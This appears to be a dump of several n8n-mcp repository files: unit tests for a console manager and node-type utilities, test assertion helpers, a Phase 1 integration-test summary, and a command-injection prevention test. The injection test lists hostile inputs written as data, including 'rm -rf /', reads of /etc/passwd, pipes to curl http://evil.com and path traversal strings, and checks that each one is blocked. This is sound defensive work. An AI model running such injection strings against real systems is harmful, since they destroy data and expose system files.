if (originalEnv !== undefined) {
process.env.MCP_MODE = originalEnv as "test" | "http" | "stdio" | undefined;
} else {
delete process.env.MCP_MODE;
}
delete process.env.MCP_REQUEST_ACTIVE;
});
describe('silence method', () => {
test('should silence console methods when in HTTP mode', () => {
process.env.MCP_MODE = 'http';
const originalLog = console.log;
const originalError = console.error;
manager.silence();
expect(console.log).not.toBe(originalLog);
expect(console.error).not.toBe(originalError);
expect(manager.isActive).toBe(true);
expect(process.env.MCP_REQUEST_ACTIVE).toBe('true');
});
test('should not silence when not in HTTP mode', () => {
process.env.MCP_MODE = 'stdio';
const originalLog = console.log;
manager.silence();
expect(console.log).toBe(originalLog);
expect(manager.isActive).toBe(false);
});
test('should not silence if already silenced', () => {
process.env.MCP_MODE = 'http';
manager.silence();
const firstSilencedLog = console.log;
manager.silence(); // Call again
expect(console.log).toBe(firstSilencedLog);
expect(manager.isActive).toBe(true);
});
test('should silence all console methods', () => {
process.env.MCP_MODE = 'http';
const originalMethods = {
log: console.log,
error: console.error,
warn: console.warn,
info: console.info,
debug: console.debug,
trace: console.trace
};
manager.silence();
Object.values(originalMethods).forEach(originalMethod => {
const currentMethod = Object.values(console).find(method => method === originalMethod);
expect(currentMethod).toBeUndefined();
});
});
});
describe('restore method', () => {
test('should restore console methods after silencing', () => {
process.env.MCP_MODE = 'http';
const originalLog = console.log;
const originalError = console.error;
manager.silence();
expect(console.log).not.toBe(originalLog);
manager.restore();
expect(console.log).toBe(originalLog);
expect(console.error).toBe(originalError);
expect(manager.isActive).toBe(false);
expect(process.env.MCP_REQUEST_ACTIVE).toBe('false');
});
test('should not restore if not silenced', () => {
const originalLog = console.log;
manager.restore(); // Call without silencing first
expect(console.log).toBe(originalLog);
expect(manager.isActive).toBe(false);
});
test('should restore all console methods', () => {
process.env.MCP_MODE = 'http';
const originalMethods = {
log: console.log,
error: console.error,
warn: console.warn,
info: console.info,
debug: console.debug,
trace: console.trace
};
manager.silence();
manager.restore();
expect(console.log).toBe(originalMethods.log);
expect(console.error).toBe(originalMethods.error);
expect(console.warn).toBe(originalMethods.warn);
expect(console.info).toBe(originalMethods.info);
expect(console.debug).toBe(originalMethods.debug);
expect(console.trace).toBe(originalMethods.trace);
});
});
describe('wrapOperation method', () => {
test('should wrap synchronous operations', async () => {
process.env.MCP_MODE = 'http';
const testValue = 'test-result';
const operation = vi.fn(() => testValue);
const result = await manager.wrapOperation(operation);
expect(result).toBe(testValue);
expect(operation).toHaveBeenCalledOnce();
expect(manager.isActive).toBe(false); // Should be restored after operation
});
test('should wrap asynchronous operations', async () => {
process.env.MCP_MODE = 'http';
const testValue = 'async-result';
const operation = vi.fn(async () => {
await new Promise(resolve => setTimeout(resolve, 10));
return testValue;
});
const result = await manager.wrapOperation(operation);
expect(result).toBe(testValue);
expect(operation).toHaveBeenCalledOnce();
expect(manager.isActive).toBe(false); // Should be restored after operation
});
test('should restore console even if synchronous operation throws', async () => {
process.env.MCP_MODE = 'http';
const error = new Error('test error');
const operation = vi.fn(() => {
throw error;
});
await expect(manager.wrapOperation(operation)).rejects.toThrow('test error');
expect(manager.isActive).toBe(false); // Should be restored even after error
});
test('should restore console even if async operation throws', async () => {
process.env.MCP_MODE = 'http';
const error = new Error('async test error');
const operation = vi.fn(async () => {
throw error;
});
await expect(manager.wrapOperation(operation)).rejects.toThrow('async test error');
expect(manager.isActive).toBe(false); // Should be restored even after error
});
test('should handle promise rejection properly', async () => {
process.env.MCP_MODE = 'http';
const error = new Error('promise rejection');
const operation = vi.fn(() => Promise.reject(error));
await expect(manager.wrapOperation(operation)).rejects.toThrow('promise rejection');
expect(manager.isActive).toBe(false); // Should be restored even after rejection
});
});
describe('isActive getter', () => {
test('should return false initially', () => {
expect(manager.isActive).toBe(false);
});
test('should return true when silenced', () => {
process.env.MCP_MODE = 'http';
manager.silence();
expect(manager.isActive).toBe(true);
});
test('should return false after restore', () => {
process.env.MCP_MODE = 'http';
manager.silence();
manager.restore();
expect(manager.isActive).toBe(false);
});
});
describe('Singleton instance', () => {
test('should export a singleton instance', () => {
expect(consoleManager).toBeInstanceOf(ConsoleManager);
});
test('should work with singleton instance', () => {
process.env.MCP_MODE = 'http';
const originalLog = console.log;
consoleManager.silence();
expect(console.log).not.toBe(originalLog);
expect(consoleManager.isActive).toBe(true);
consoleManager.restore();
expect(console.log).toBe(originalLog);
expect(consoleManager.isActive).toBe(false);
});
});
describe('Edge cases', () => {
test('should handle undefined MCP_MODE', () => {
delete process.env.MCP_MODE;
const originalLog = console.log;
manager.silence();
expect(console.log).toBe(originalLog);
expect(manager.isActive).toBe(false);
});
test('should handle empty MCP_MODE', () => {
process.env.MCP_MODE = '' as any;
const originalLog = console.log;
manager.silence();
expect(console.log).toBe(originalLog);
expect(manager.isActive).toBe(false);
});
test('should silence and restore multiple times', () => {
process.env.MCP_MODE = 'http';
const originalLog = console.log;
// First cycle
manager.silence();
expect(manager.isActive).toBe(true);
manager.restore();
expect(manager.isActive).toBe(false);
expect(console.log).toBe(originalLog);
// Second cycle
manager.silence();
expect(manager.isActive).toBe(true);
manager.restore();
expect(manager.isActive).toBe(false);
expect(console.log).toBe(originalLog);
});
});
});
```
--------------------------------------------------------------------------------
/tests/utils/assertions.ts:
--------------------------------------------------------------------------------
```typescript
import { expect } from 'vitest';
import { WorkflowNode, Workflow } from '@/types/n8n-api';
// Use any type for INodeDefinition since it's from n8n-workflow package
type INodeDefinition = any;
/**
* Custom assertions for n8n-mcp tests
*/
/**
* Assert that a value is a valid node definition
*/
export function expectValidNodeDefinition(node: any) {
expect(node).toBeDefined();
expect(node).toHaveProperty('name');
expect(node).toHaveProperty('displayName');
expect(node).toHaveProperty('version');
expect(node).toHaveProperty('properties');
expect(node.properties).toBeInstanceOf(Array);
// Check version is a positive number
expect(node.version).toBeGreaterThan(0);
// Check required string fields
expect(typeof node.name).toBe('string');
expect(typeof node.displayName).toBe('string');
expect(node.name).not.toBe('');
expect(node.displayName).not.toBe('');
}
/**
* Assert that a value is a valid workflow
*/
export function expectValidWorkflow(workflow: any): asserts workflow is Workflow {
expect(workflow).toBeDefined();
expect(workflow).toHaveProperty('nodes');
expect(workflow).toHaveProperty('connections');
expect(workflow.nodes).toBeInstanceOf(Array);
expect(workflow.connections).toBeTypeOf('object');
// Check each node is valid
workflow.nodes.forEach((node: any) => {
expectValidWorkflowNode(node);
});
// Check connections reference valid nodes
const nodeIds = new Set(workflow.nodes.map((n: WorkflowNode) => n.id));
Object.keys(workflow.connections).forEach(sourceId => {
expect(nodeIds.has(sourceId)).toBe(true);
const connections = workflow.connections[sourceId];
Object.values(connections).forEach((outputConnections: any) => {
outputConnections.forEach((connectionSet: any) => {
connectionSet.forEach((connection: any) => {
expect(nodeIds.has(connection.node)).toBe(true);
});
});
});
});
}
/**
* Assert that a value is a valid workflow node
*/
export function expectValidWorkflowNode(node: any): asserts node is WorkflowNode {
expect(node).toBeDefined();
expect(node).toHaveProperty('id');
expect(node).toHaveProperty('name');
expect(node).toHaveProperty('type');
expect(node).toHaveProperty('typeVersion');
expect(node).toHaveProperty('position');
expect(node).toHaveProperty('parameters');
// Check types
expect(typeof node.id).toBe('string');
expect(typeof node.name).toBe('string');
expect(typeof node.type).toBe('string');
expect(typeof node.typeVersion).toBe('number');
expect(node.position).toBeInstanceOf(Array);
expect(node.position).toHaveLength(2);
expect(typeof node.position[0]).toBe('number');
expect(typeof node.position[1]).toBe('number');
expect(node.parameters).toBeTypeOf('object');
}
/**
* Assert that validation errors contain expected messages
*/
export function expectValidationErrors(errors: any[], expectedMessages: string[]) {
expect(errors).toHaveLength(expectedMessages.length);
const errorMessages = errors.map(e =>
typeof e === 'string' ? e : e.message || e.error || String(e)
);
expectedMessages.forEach(expected => {
const found = errorMessages.some(msg =>
msg.toLowerCase().includes(expected.toLowerCase())
);
expect(found).toBe(true);
});
}
/**
* Assert that a property definition is valid
*/
export function expectValidPropertyDefinition(property: any) {
expect(property).toBeDefined();
expect(property).toHaveProperty('name');
expect(property).toHaveProperty('displayName');
expect(property).toHaveProperty('type');
// Check required fields
expect(typeof property.name).toBe('string');
expect(typeof property.displayName).toBe('string');
expect(typeof property.type).toBe('string');
// Check common property types
const validTypes = [
'string', 'number', 'boolean', 'options', 'multiOptions',
'collection', 'fixedCollection', 'json', 'color', 'dateTime'
];
expect(validTypes).toContain(property.type);
// Check options if present
if (property.type === 'options' || property.type === 'multiOptions') {
expect(property.options).toBeInstanceOf(Array);
expect(property.options.length).toBeGreaterThan(0);
property.options.forEach((option: any) => {
expect(option).toHaveProperty('name');
expect(option).toHaveProperty('value');
});
}
// Check displayOptions if present
if (property.displayOptions) {
expect(property.displayOptions).toBeTypeOf('object');
if (property.displayOptions.show) {
expect(property.displayOptions.show).toBeTypeOf('object');
}
if (property.displayOptions.hide) {
expect(property.displayOptions.hide).toBeTypeOf('object');
}
}
}
/**
* Assert that an MCP tool response is valid
*/
export function expectValidMCPResponse(response: any) {
expect(response).toBeDefined();
// Check for error response
if (response.error) {
expect(response.error).toHaveProperty('code');
expect(response.error).toHaveProperty('message');
expect(typeof response.error.code).toBe('number');
expect(typeof response.error.message).toBe('string');
} else {
// Check for success response
expect(response.result).toBeDefined();
}
}
/**
* Assert that a database row has required metadata
*/
export function expectDatabaseMetadata(row: any) {
expect(row).toHaveProperty('created_at');
expect(row).toHaveProperty('updated_at');
// Check dates are valid
const createdAt = new Date(row.created_at);
const updatedAt = new Date(row.updated_at);
expect(createdAt.toString()).not.toBe('Invalid Date');
expect(updatedAt.toString()).not.toBe('Invalid Date');
expect(updatedAt.getTime()).toBeGreaterThanOrEqual(createdAt.getTime());
}
/**
* Assert that an expression is valid n8n expression syntax
*/
export function expectValidExpression(expression: string) {
// Check for basic expression syntax
const expressionPattern = /\{\{.*\}\}/;
expect(expression).toMatch(expressionPattern);
// Check for balanced braces
let braceCount = 0;
for (const char of expression) {
if (char === '{') braceCount++;
if (char === '}') braceCount--;
expect(braceCount).toBeGreaterThanOrEqual(0);
}
expect(braceCount).toBe(0);
}
/**
* Assert that a template is valid
*/
export function expectValidTemplate(template: any) {
expect(template).toBeDefined();
expect(template).toHaveProperty('id');
expect(template).toHaveProperty('name');
expect(template).toHaveProperty('workflow');
expect(template).toHaveProperty('categories');
// Check workflow is valid
expectValidWorkflow(template.workflow);
// Check categories
expect(template.categories).toBeInstanceOf(Array);
expect(template.categories.length).toBeGreaterThan(0);
}
/**
* Assert that search results are relevant
*/
export function expectRelevantSearchResults(
results: any[],
query: string,
minRelevance = 0.5
) {
expect(results).toBeInstanceOf(Array);
if (results.length === 0) return;
// Check each result contains query terms
const queryTerms = query.toLowerCase().split(/\s+/);
results.forEach(result => {
const searchableText = JSON.stringify(result).toLowerCase();
const matchCount = queryTerms.filter(term =>
searchableText.includes(term)
).length;
const relevance = matchCount / queryTerms.length;
expect(relevance).toBeGreaterThanOrEqual(minRelevance);
});
}
/**
* Custom matchers for n8n-mcp
*/
export const customMatchers = {
toBeValidNodeDefinition(received: any) {
try {
expectValidNodeDefinition(received);
return { pass: true, message: () => 'Node definition is valid' };
} catch (error: any) {
return { pass: false, message: () => error.message };
}
},
toBeValidWorkflow(received: any) {
try {
expectValidWorkflow(received);
return { pass: true, message: () => 'Workflow is valid' };
} catch (error: any) {
return { pass: false, message: () => error.message };
}
},
toContainValidationError(received: any[], expected: string) {
const errorMessages = received.map(e =>
typeof e === 'string' ? e : e.message || e.error || String(e)
);
const found = errorMessages.some(msg =>
msg.toLowerCase().includes(expected.toLowerCase())
);
return {
pass: found,
message: () => found
? `Found validation error containing "${expected}"`
: `No validation error found containing "${expected}". Errors: ${errorMessages.join(', ')}`
};
}
};
```
--------------------------------------------------------------------------------
/tests/integration/security/command-injection-prevention.test.ts:
--------------------------------------------------------------------------------
```typescript
import { describe, it, expect, beforeAll } from 'vitest';
import { EnhancedDocumentationFetcher } from '../../../src/utils/enhanced-documentation-fetcher';
/**
* Integration tests for command injection prevention
*
* SECURITY: These tests verify that malicious inputs cannot execute shell commands
* See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
*/
describe('Command Injection Prevention', () => {
let fetcher: EnhancedDocumentationFetcher;
beforeAll(() => {
fetcher = new EnhancedDocumentationFetcher();
});
describe('Command Injection Attacks', () => {
it('should sanitize all command injection attempts without executing commands', async () => {
// SECURITY: The key is that special characters are sanitized, preventing command execution
// After sanitization, the string may become a valid search term (e.g., 'test')
// which is safe behavior - no commands are executed
const attacks = [
'test"; rm -rf / #', // Sanitizes to: test
'test && cat /etc/passwd',// Sanitizes to: test
'test | curl http://evil.com', // Sanitizes to: test
'test`whoami`', // Sanitizes to: test
'test$(cat /etc/passwd)', // Sanitizes to: test
'test\nrm -rf /', // Sanitizes to: test
'"; rm -rf / #', // Sanitizes to: empty
'&&& curl http://evil.com', // Sanitizes to: empty
'|||', // Sanitizes to: empty
'```', // Sanitizes to: empty
'$()', // Sanitizes to: empty
'\n\n\n', // Sanitizes to: empty
];
for (const attack of attacks) {
// Should complete without throwing errors or executing commands
// Result may be null or may find documentation - both are safe as long as no commands execute
await expect(fetcher.getEnhancedNodeDocumentation(attack)).resolves.toBeDefined();
}
});
});
describe('Directory Traversal Prevention', () => {
it('should block parent directory traversal', async () => {
const traversalAttacks = [
'../../../etc/passwd',
'../../etc/passwd',
'../etc/passwd',
];
for (const attack of traversalAttacks) {
const result = await fetcher.getEnhancedNodeDocumentation(attack);
expect(result).toBeNull();
}
});
it('should block URL-encoded directory traversal', async () => {
const traversalAttacks = [
'..%2f..%2fetc%2fpasswd',
'..%2fetc%2fpasswd',
];
for (const attack of traversalAttacks) {
const result = await fetcher.getEnhancedNodeDocumentation(attack);
expect(result).toBeNull();
}
});
it('should block relative path references', async () => {
const pathAttacks = [
'..',
'....',
'./test',
'../test',
];
for (const attack of pathAttacks) {
const result = await fetcher.getEnhancedNodeDocumentation(attack);
expect(result).toBeNull();
}
});
it('should block absolute paths', async () => {
const pathAttacks = [
'/etc/passwd',
'/usr/bin/whoami',
'/var/log/auth.log',
];
for (const attack of pathAttacks) {
const result = await fetcher.getEnhancedNodeDocumentation(attack);
expect(result).toBeNull();
}
});
});
describe('Special Character Handling', () => {
it('should sanitize special characters', async () => {
const specialChars = [
'test;',
'test|',
'test&',
'test`',
'test$',
'test(',
'test)',
'test<',
'test>',
];
for (const input of specialChars) {
const result = await fetcher.getEnhancedNodeDocumentation(input);
// Should sanitize and search, not execute commands
// Result should be null (not found) but no command execution
expect(result).toBeNull();
}
});
it('should sanitize null bytes', async () => {
// Null bytes are sanitized, leaving 'test' as valid search term
const nullByteAttacks = [
'test\0.md',
'test\u0000',
];
for (const attack of nullByteAttacks) {
// Should complete safely - null bytes are removed
await expect(fetcher.getEnhancedNodeDocumentation(attack)).resolves.toBeDefined();
}
});
});
describe('Legitimate Operations', () => {
it('should still find valid node documentation with safe characters', async () => {
// Test with a real node type that should exist
const validNodeTypes = [
'slack',
'gmail',
'httpRequest',
];
for (const nodeType of validNodeTypes) {
const result = await fetcher.getEnhancedNodeDocumentation(nodeType);
// May or may not find docs depending on setup, but should not throw or execute commands
// The key is that it completes without error
expect(result === null || typeof result === 'object').toBe(true);
}
});
it('should handle hyphens and underscores safely', async () => {
const safeNames = [
'http-request',
'google_sheets',
'n8n-nodes-base',
];
for (const name of safeNames) {
const result = await fetcher.getEnhancedNodeDocumentation(name);
// Should process safely without executing commands
expect(result === null || typeof result === 'object').toBe(true);
}
});
});
describe('Git Command Injection Prevention (Issue #265 Part 2)', () => {
it('should reject malicious paths in constructor with shell metacharacters', () => {
const maliciousPaths = [
'/tmp/test; touch /tmp/PWNED #',
'/tmp/test && curl http://evil.com',
'/tmp/test | whoami',
'/tmp/test`whoami`',
'/tmp/test$(cat /etc/passwd)',
'/tmp/test\nrm -rf /',
'/tmp/test & rm -rf /',
'/tmp/test || curl evil.com',
];
for (const maliciousPath of maliciousPaths) {
expect(() => new EnhancedDocumentationFetcher(maliciousPath)).toThrow(
/Invalid docsPath: path contains disallowed characters or patterns/
);
}
});
it('should reject paths pointing to sensitive system directories', () => {
const systemPaths = [
'/etc/passwd',
'/sys/kernel',
'/proc/self',
'/var/log/auth.log',
];
for (const systemPath of systemPaths) {
expect(() => new EnhancedDocumentationFetcher(systemPath)).toThrow(
/Invalid docsPath: cannot use system directories/
);
}
});
it('should reject directory traversal attempts in constructor', () => {
const traversalPaths = [
'../../../etc/passwd',
'../../sensitive',
'./relative/path',
'.hidden/path',
];
for (const traversalPath of traversalPaths) {
expect(() => new EnhancedDocumentationFetcher(traversalPath)).toThrow(
/Invalid docsPath: path contains disallowed characters or patterns/
);
}
});
it('should accept valid absolute paths in constructor', () => {
// These should not throw
expect(() => new EnhancedDocumentationFetcher('/tmp/valid-docs-path')).not.toThrow();
expect(() => new EnhancedDocumentationFetcher('/var/tmp/n8n-docs')).not.toThrow();
expect(() => new EnhancedDocumentationFetcher('/home/user/docs')).not.toThrow();
});
it('should use default path when no path provided', () => {
// Should not throw with default path
expect(() => new EnhancedDocumentationFetcher()).not.toThrow();
});
it('should reject paths with quote characters', () => {
const quotePaths = [
'/tmp/test"malicious',
"/tmp/test'malicious",
'/tmp/test`command`',
];
for (const quotePath of quotePaths) {
expect(() => new EnhancedDocumentationFetcher(quotePath)).toThrow(
/Invalid docsPath: path contains disallowed characters or patterns/
);
}
});
it('should reject paths with brackets and braces', () => {
const bracketPaths = [
'/tmp/test[malicious]',
'/tmp/test{a,b}',
'/tmp/test<redirect>',
'/tmp/test(subshell)',
];
for (const bracketPath of bracketPaths) {
expect(() => new EnhancedDocumentationFetcher(bracketPath)).toThrow(
/Invalid docsPath: path contains disallowed characters or patterns/
);
}
});
});
});
```
--------------------------------------------------------------------------------
/docs/local/integration-tests-phase1-summary.md:
--------------------------------------------------------------------------------
```markdown
# Integration Tests Phase 1: Foundation - COMPLETED
## Overview
Phase 1 establishes the foundation for n8n API integration testing. All core utilities, fixtures, and infrastructure are now in place.
## Branch
`feat/integration-tests-foundation`
## Completed Tasks
### 1. Environment Configuration
- ✅ Updated `.env.example` with integration testing configuration
- ✅ Added environment variables for:
- n8n API credentials (`N8N_API_URL`, `N8N_API_KEY`)
- Webhook workflow IDs (4 workflows for GET/POST/PUT/DELETE)
- Test configuration (cleanup, tags, naming)
- ✅ Included detailed setup instructions in comments
### 2. Directory Structure
```
tests/integration/n8n-api/
├── workflows/ (empty - for Phase 2+)
├── executions/ (empty - for Phase 2+)
├── system/ (empty - for Phase 2+)
├── scripts/
│ └── cleanup-orphans.ts
└── utils/
├── credentials.ts
├── n8n-client.ts
├── test-context.ts
├── cleanup-helpers.ts
├── fixtures.ts
├── factories.ts
└── webhook-workflows.ts
```
### 3. Core Utilities
#### `credentials.ts` (200 lines)
- Environment-aware credential loading
- Detects CI vs local environment automatically
- Validation functions with helpful error messages
- Non-throwing credential check functions
**Key Functions:**
- `getN8nCredentials()` - Load credentials from .env or GitHub secrets
- `validateCredentials()` - Ensure required credentials are present
- `validateWebhookWorkflows()` - Check webhook workflow IDs with setup instructions
- `hasCredentials()` - Non-throwing credential check
- `hasWebhookWorkflows()` - Non-throwing webhook check
#### `n8n-client.ts` (45 lines)
- Singleton n8n API client wrapper
- Pre-configured with test credentials
- Health check functionality
**Key Functions:**
- `getTestN8nClient()` - Get/create configured API client
- `resetTestN8nClient()` - Reset client instance
- `isN8nApiAccessible()` - Check API connectivity
#### `test-context.ts` (120 lines)
- Resource tracking for automatic cleanup
- Test workflow naming utilities
- Tag management
**Key Functions:**
- `createTestContext()` - Create context for tracking resources
- `TestContext.trackWorkflow()` - Track workflow for cleanup
- `TestContext.trackExecution()` - Track execution for cleanup
- `TestContext.cleanup()` - Delete all tracked resources
- `createTestWorkflowName()` - Generate unique workflow names
- `getTestTag()` - Get configured test tag
#### `cleanup-helpers.ts` (275 lines)
- Multi-level cleanup strategies
- Orphaned resource detection
- Age-based execution cleanup
- Tag-based workflow cleanup
**Key Functions:**
- `cleanupOrphanedWorkflows()` - Find and delete test workflows
- `cleanupOldExecutions()` - Delete executions older than X hours
- `cleanupAllTestResources()` - Comprehensive cleanup
- `cleanupWorkflowsByTag()` - Delete workflows by tag
- `cleanupExecutionsByWorkflow()` - Delete workflow's executions
#### `fixtures.ts` (310 lines)
- Pre-built workflow templates
- All using FULL node type format (n8n-nodes-base.*)
**Available Fixtures:**
- `SIMPLE_WEBHOOK_WORKFLOW` - Single webhook node
- `SIMPLE_HTTP_WORKFLOW` - Webhook + HTTP Request
- `MULTI_NODE_WORKFLOW` - Complex branching workflow
- `ERROR_HANDLING_WORKFLOW` - Error output configuration
- `AI_AGENT_WORKFLOW` - Langchain agent node
- `EXPRESSION_WORKFLOW` - n8n expressions testing
**Helper Functions:**
- `getFixture()` - Get fixture by name (with deep clone)
- `createCustomWorkflow()` - Build custom workflow from nodes
#### `factories.ts` (315 lines)
- Dynamic test data generation
- Node builders with sensible defaults
- Workflow composition helpers
**Node Factories:**
- `createWebhookNode()` - Webhook node with customization
- `createHttpRequestNode()` - HTTP Request node
- `createSetNode()` - Set node with assignments
- `createManualTriggerNode()` - Manual trigger node
**Connection Factories:**
- `createConnection()` - Simple node connection
- `createSequentialWorkflow()` - Auto-connected sequential nodes
- `createParallelWorkflow()` - Trigger with parallel branches
- `createErrorHandlingWorkflow()` - Workflow with error handling
**Utilities:**
- `randomString()` - Generate random test data
- `uniqueId()` - Unique IDs for testing
- `createTestTags()` - Test workflow tags
- `createWorkflowSettings()` - Common settings
#### `webhook-workflows.ts` (215 lines)
- Webhook workflow configuration templates
- Setup instructions generator
- URL generation utilities
**Key Features:**
- `WEBHOOK_WORKFLOW_CONFIGS` - Configurations for all 4 HTTP methods
- `printSetupInstructions()` - Print detailed setup guide
- `generateWebhookWorkflowJson()` - Generate workflow JSON
- `exportAllWebhookWorkflows()` - Export all 4 configs
- `getWebhookUrl()` - Get webhook URL for testing
- `isValidWebhookWorkflow()` - Validate workflow structure
### 4. Scripts
#### `cleanup-orphans.ts` (40 lines)
- Standalone cleanup script
- Can be run manually or in CI
- Comprehensive output logging
**Usage:**
```bash
npm run test:cleanup:orphans
```
### 5. npm Scripts
Added to `package.json`:
```json
{
"test:integration:n8n": "vitest run tests/integration/n8n-api",
"test:cleanup:orphans": "tsx tests/integration/n8n-api/scripts/cleanup-orphans.ts"
}
```
## Code Quality
### TypeScript
- ✅ All code passes `npm run typecheck`
- ✅ All code compiles with `npm run build`
- ✅ No TypeScript errors
- ✅ Proper type annotations throughout
### Error Handling
- ✅ Comprehensive error messages
- ✅ Helpful setup instructions in error messages
- ✅ Non-throwing validation functions where appropriate
- ✅ Graceful handling of missing credentials
### Documentation
- ✅ All functions have JSDoc comments
- ✅ Usage examples in comments
- ✅ Clear parameter descriptions
- ✅ Return type documentation
## Files Created
### Documentation
1. `docs/local/integration-testing-plan.md` (550 lines)
2. `docs/local/integration-tests-phase1-summary.md` (this file)
### Code
1. `.env.example` - Updated with test configuration (32 new lines)
2. `package.json` - Added 2 npm scripts
3. `tests/integration/n8n-api/utils/credentials.ts` (200 lines)
4. `tests/integration/n8n-api/utils/n8n-client.ts` (45 lines)
5. `tests/integration/n8n-api/utils/test-context.ts` (120 lines)
6. `tests/integration/n8n-api/utils/cleanup-helpers.ts` (275 lines)
7. `tests/integration/n8n-api/utils/fixtures.ts` (310 lines)
8. `tests/integration/n8n-api/utils/factories.ts` (315 lines)
9. `tests/integration/n8n-api/utils/webhook-workflows.ts` (215 lines)
10. `tests/integration/n8n-api/scripts/cleanup-orphans.ts` (40 lines)
**Total New Code:** ~1,520 lines of production-ready TypeScript
## Next Steps (Phase 2)
Phase 2 will implement the first actual integration tests:
- Create workflow creation tests (10+ scenarios)
- Test P0 bug fix (SHORT vs FULL node types)
- Test workflow retrieval
- Test workflow deletion
**Branch:** `feat/integration-tests-workflow-creation`
## Prerequisites for Running Tests
Before running integration tests, you need to:
1. **Set up n8n instance:**
- Local: `npx n8n start`
- Or use cloud/self-hosted n8n
2. **Configure credentials in `.env`:**
```bash
N8N_API_URL=http://localhost:5678
N8N_API_KEY=<your-api-key>
```
3. **Create 4 webhook workflows manually:**
- One for each HTTP method (GET, POST, PUT, DELETE)
- Activate each workflow in n8n UI
- Set workflow IDs in `.env`:
```bash
N8N_TEST_WEBHOOK_GET_ID=<workflow-id>
N8N_TEST_WEBHOOK_POST_ID=<workflow-id>
N8N_TEST_WEBHOOK_PUT_ID=<workflow-id>
N8N_TEST_WEBHOOK_DELETE_ID=<workflow-id>
```
See `docs/local/integration-testing-plan.md` for detailed setup instructions.
## Success Metrics
Phase 1 Success Criteria - ALL MET:
- ✅ All utilities implemented and tested
- ✅ TypeScript compiles without errors
- ✅ Code follows project conventions
- ✅ Comprehensive documentation
- ✅ Environment configuration complete
- ✅ Cleanup infrastructure in place
- ✅ Ready for Phase 2 test implementation
## Lessons Learned
1. **N8nApiClient Constructor:** Uses config object, not separate parameters
2. **Cursor Handling:** n8n API returns `null` for no more pages, need to convert to `undefined`
3. **Workflow ID Validation:** Some workflows might have undefined IDs, need null checks
4. **Connection Types:** Error connections need explicit typing to avoid TypeScript errors
5. **Webhook Activation:** Cannot be done via API, must be manual - hence pre-activated workflow requirement
## Time Invested
Phase 1 actual time: ~2 hours (estimated 2-3 days in plan)
- Faster than expected due to clear architecture and reusable patterns
```
--------------------------------------------------------------------------------
/tests/unit/utils/node-type-utils.test.ts:
--------------------------------------------------------------------------------
```typescript
import { describe, it, expect } from 'vitest';
import {
normalizeNodeType,
denormalizeNodeType,
extractNodeName,
getNodePackage,
isBaseNode,
isLangChainNode,
isValidNodeTypeFormat,
getNodeTypeVariations
} from '@/utils/node-type-utils';
describe('node-type-utils', () => {
describe('normalizeNodeType', () => {
it('should normalize n8n-nodes-base to nodes-base', () => {
expect(normalizeNodeType('n8n-nodes-base.httpRequest')).toBe('nodes-base.httpRequest');
expect(normalizeNodeType('n8n-nodes-base.webhook')).toBe('nodes-base.webhook');
});
it('should normalize @n8n/n8n-nodes-langchain to nodes-langchain', () => {
expect(normalizeNodeType('@n8n/n8n-nodes-langchain.openAi')).toBe('nodes-langchain.openAi');
expect(normalizeNodeType('@n8n/n8n-nodes-langchain.chatOpenAi')).toBe('nodes-langchain.chatOpenAi');
});
it('should leave already normalized types unchanged', () => {
expect(normalizeNodeType('nodes-base.httpRequest')).toBe('nodes-base.httpRequest');
expect(normalizeNodeType('nodes-langchain.openAi')).toBe('nodes-langchain.openAi');
});
it('should handle empty or null inputs', () => {
expect(normalizeNodeType('')).toBe('');
expect(normalizeNodeType(null as any)).toBe(null);
expect(normalizeNodeType(undefined as any)).toBe(undefined);
});
});
describe('denormalizeNodeType', () => {
it('should denormalize nodes-base to n8n-nodes-base', () => {
expect(denormalizeNodeType('nodes-base.httpRequest', 'base')).toBe('n8n-nodes-base.httpRequest');
expect(denormalizeNodeType('nodes-base.webhook', 'base')).toBe('n8n-nodes-base.webhook');
});
it('should denormalize nodes-langchain to @n8n/n8n-nodes-langchain', () => {
expect(denormalizeNodeType('nodes-langchain.openAi', 'langchain')).toBe('@n8n/n8n-nodes-langchain.openAi');
expect(denormalizeNodeType('nodes-langchain.chatOpenAi', 'langchain')).toBe('@n8n/n8n-nodes-langchain.chatOpenAi');
});
it('should handle already denormalized types', () => {
expect(denormalizeNodeType('n8n-nodes-base.httpRequest', 'base')).toBe('n8n-nodes-base.httpRequest');
expect(denormalizeNodeType('@n8n/n8n-nodes-langchain.openAi', 'langchain')).toBe('@n8n/n8n-nodes-langchain.openAi');
});
it('should handle empty or null inputs', () => {
expect(denormalizeNodeType('', 'base')).toBe('');
expect(denormalizeNodeType(null as any, 'base')).toBe(null);
expect(denormalizeNodeType(undefined as any, 'base')).toBe(undefined);
});
});
describe('extractNodeName', () => {
it('should extract node name from normalized types', () => {
expect(extractNodeName('nodes-base.httpRequest')).toBe('httpRequest');
expect(extractNodeName('nodes-langchain.openAi')).toBe('openAi');
});
it('should extract node name from denormalized types', () => {
expect(extractNodeName('n8n-nodes-base.httpRequest')).toBe('httpRequest');
expect(extractNodeName('@n8n/n8n-nodes-langchain.openAi')).toBe('openAi');
});
it('should handle types without package prefix', () => {
expect(extractNodeName('httpRequest')).toBe('httpRequest');
});
it('should handle empty or null inputs', () => {
expect(extractNodeName('')).toBe('');
expect(extractNodeName(null as any)).toBe('');
expect(extractNodeName(undefined as any)).toBe('');
});
});
describe('getNodePackage', () => {
it('should extract package from normalized types', () => {
expect(getNodePackage('nodes-base.httpRequest')).toBe('nodes-base');
expect(getNodePackage('nodes-langchain.openAi')).toBe('nodes-langchain');
});
it('should extract package from denormalized types', () => {
expect(getNodePackage('n8n-nodes-base.httpRequest')).toBe('nodes-base');
expect(getNodePackage('@n8n/n8n-nodes-langchain.openAi')).toBe('nodes-langchain');
});
it('should return null for types without package', () => {
expect(getNodePackage('httpRequest')).toBeNull();
expect(getNodePackage('')).toBeNull();
});
it('should handle null inputs', () => {
expect(getNodePackage(null as any)).toBeNull();
expect(getNodePackage(undefined as any)).toBeNull();
});
});
describe('isBaseNode', () => {
it('should identify base nodes correctly', () => {
expect(isBaseNode('nodes-base.httpRequest')).toBe(true);
expect(isBaseNode('n8n-nodes-base.webhook')).toBe(true);
expect(isBaseNode('nodes-base.slack')).toBe(true);
});
it('should reject non-base nodes', () => {
expect(isBaseNode('nodes-langchain.openAi')).toBe(false);
expect(isBaseNode('@n8n/n8n-nodes-langchain.chatOpenAi')).toBe(false);
expect(isBaseNode('httpRequest')).toBe(false);
});
});
describe('isLangChainNode', () => {
it('should identify langchain nodes correctly', () => {
expect(isLangChainNode('nodes-langchain.openAi')).toBe(true);
